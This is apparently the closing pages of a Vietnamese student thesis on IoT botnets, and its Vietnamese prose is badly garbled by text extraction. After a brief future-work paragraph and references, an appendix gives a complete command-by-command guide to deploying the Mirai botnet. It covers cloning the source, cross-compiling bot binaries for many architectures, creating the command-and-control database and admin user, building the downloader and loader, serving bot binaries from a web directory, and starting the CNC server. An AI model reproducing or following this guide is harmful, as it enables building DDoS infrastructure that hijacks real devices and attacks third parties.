ượ ố ể ế ị ủ ờ ư day, CVE đã đ c công b đ khai thác thi t b IoT do ch a đ th i gian đ h ng zero ể
ồ ủ ứ ả ộ ố ệ ế ị nghiên c u thêm. Mã ngu n c a tác gi có m t s thi u sót trong vi c biên d ch
ế ỗ ẫ ề ả ố ắ ử ạ ỉ sang x86 d n đ n l i khi ch y trên n n t ng này. Dù em đã c g ng ch nh s a và
ị ạ ư ư ệ ả ồ ạ ữ ể ế biên d ch l i nh ng ch a thành công. Vi c gi i quy t nh ng đi m t n t i này
ướ ể ươ ủ ồ cũng chính là h ng phát tri n t ng lai c a đ án.
51
Ả Ệ TÀI LI U THAM KH O
[1]. GSM Accociation, IoT Security Guidelines Overview Document Version 1.1,
November 07, 2016
[2]. Mirai DDoS Botnet: Source Code & Binary Analysis,
http://www.simonroses.com/2016/10/miraiddosbotnetsourcecodebinary
analysis/
[3]. Octave Klaba, This botnet with 145607 cameras/dvr (130Mbps per IP) is able
to send >1.5Tbps DDoS. Type: tcp/ack, tcp/ack+psh, tcp/syn.“
[4]. Brian Krebs; Krebs on Security, 1.10.2016: „Source Code for IoT Botnet
‘Mirai’ Released“: https://krebsonsecurity.com/2016/10/sourcecodeforiot
botnetmiraireleased/
[5]. Word’s Largest Net: Mirai Botnet, https://hackforums.net/showthread.php?
tid=5420472
52
Ụ Ụ PH L C
ướ ặ ệ ố Các b c cài đ t h th ng Botnet Mirai:
#Update Sources.list in /etc/apt/sources.list
deb http://http.kali.org/kali kalirolling main contrib nonfree
debsrc http://http.kali.org/kali kalirolling main contrib nonfree
deb http://old.kali.org/kali sana main nonfree contrib
debsrc http://old.kali.org/kali sana main nonfree contrib
#Update Repo
aptget update
#Requirements
aptget install gcc golang electricfence mysqlserver mysqlclient
#Git Clone Mirai Source Code
cd /home/mirai
mkdir ddos/
cd ddos/
aptget install git
git clone https://github.com/jgamblin/MiraiSourceCode.git
cd MiraiSourceCode/mirai
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go
go get github.com/gosqldriver/mysql
go get github.com/mattn/goshellwords
mkdir /etc/xcompile
cd /etc/xcompile
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
armv4l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/crosscompiler
armv5l.tar.bz2
53
wget http://distro.ibiblio.org/slitaz/sources/packages/c/crosscompiler
armv6l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/crosscompiler
sparc.tar.bz2
tar jxf crosscompilerarmv4l.tar.bz2
tar jxf crosscompilerarmv5l.tar.bz2
tar jxf crosscompilerarmv6l.tar.bz2
tar jxf crosscompileri586.tar.bz2
tar jxf crosscompilerm68k.tar.bz2
tar jxf crosscompilermips.tar.bz2
tar jxf crosscompilermipsel.tar.bz2
tar jxf crosscompilerpowerpc.tar.bz2
tar jxf crosscompilersh4.tar.bz2
tar jxf crosscompilersparc.tar.bz2
rm *.tar.bz2
mv crosscompilerarmv4l armv4l
mv crosscompilerarmv5l armv5l
mv crosscompilerarmv6l armv6l
mv crosscompileri586 i586
54
mv crosscompilerm68k m68k
mv crosscompilermips mips
mv crosscompilermipsel mipsel
mv crosscompilerpowerpc powerpc
mv crosscompilersh4 sh4
mv crosscompilersparc sparc
# PUT THESE COMMANDS IN THE FILE ~/.bashrc
# Cross compiler toolchains
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
# Golang
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go
cd /home/mirai/ddos/MiraiSourceCode/mirai
./build.sh debug telnet
./build.sh debug telnet
./debug/enc string
edit file bot/table.c
vi bot/table.c
service mysql start
55
mysql u root
CREATE DATABASE mirai;
use mirai;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL,
`time_sent` int(10) unsigned NOT NULL,
`duration` int(10) unsigned NOT NULL,
`command` text NOT NULL,
`max_bots` int(11) DEFAULT '1',
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`)
);
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`duration_limit` int(10) unsigned DEFAULT NULL,
`cooldown` int(10) unsigned NOT NULL,
`wrc` int(10) unsigned DEFAULT NULL,
`last_paid` int(10) unsigned NOT NULL,
`max_bots` int(11) DEFAULT '1',
`admin` int(10) unsigned DEFAULT '0',
`intvl` int(10) unsigned DEFAULT '30',
`api_key` text,
PRIMARY KEY (`id`),
KEY `username` (`username`)
);
CREATE TABLE `whitelist` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(16) DEFAULT NULL,
`netmask` tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
56
KEY `prefix` (`prefix`)
);
exit
mysqladmin u root password root
mysql u root p //dang nhap password mysql : root
GRANT ALL ON mirai.* TO 'root'@'127.0.0.1';
GRANT ALL ON mirai.* TO 'root'@'localhost';
use mirai;
INSERT INTO users VALUES (NULL, 'hacker', 'hacker', 0, 0, 0, 0, 1, 1, 30, '');
exit
cd cnc/
leafpad main.go
password database : root
port 3306
cd ..
copy file prom.pt vao cnc
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
# Golang
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go
go get github.com/gosqldriver/mysql
57
go get github.com/mattn/goshellwords
./build.sh debug telnet
./build.sh release telnet
#dlr
cd /home/mirai/ddos/MiraiSourceCode/dlr
edit main.c => IP HTTP Server
comment ./build.sh: line 3: i686gcc: command not found
./build.sh: line 16: i686strip: command not found
#DLR build
# aptget update && aptget upgrade
aptget install buildessential
Replace i686gcc with gcc, i686strip with strip and try again
./build.sh
copy dlr vao bin cua loader
chmod 777 build.sh
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
./build.sh
cd release/
cp * ../../loader/bins/
cd ../../loader/src/
58
leafpad main.c #edit tftp,wget,bind address
cd ..
./build.debug.sh
./build.sh
mkdir /var/www/html/bins
cd /home/mirai/ddos/MiraiSourceCode/mirai/
cp R release/mirai.* /var/www/html/bins
cp R release/miraint.* /var/www/html/bins
cp prompt.txt release/
cd release/
./cnc
59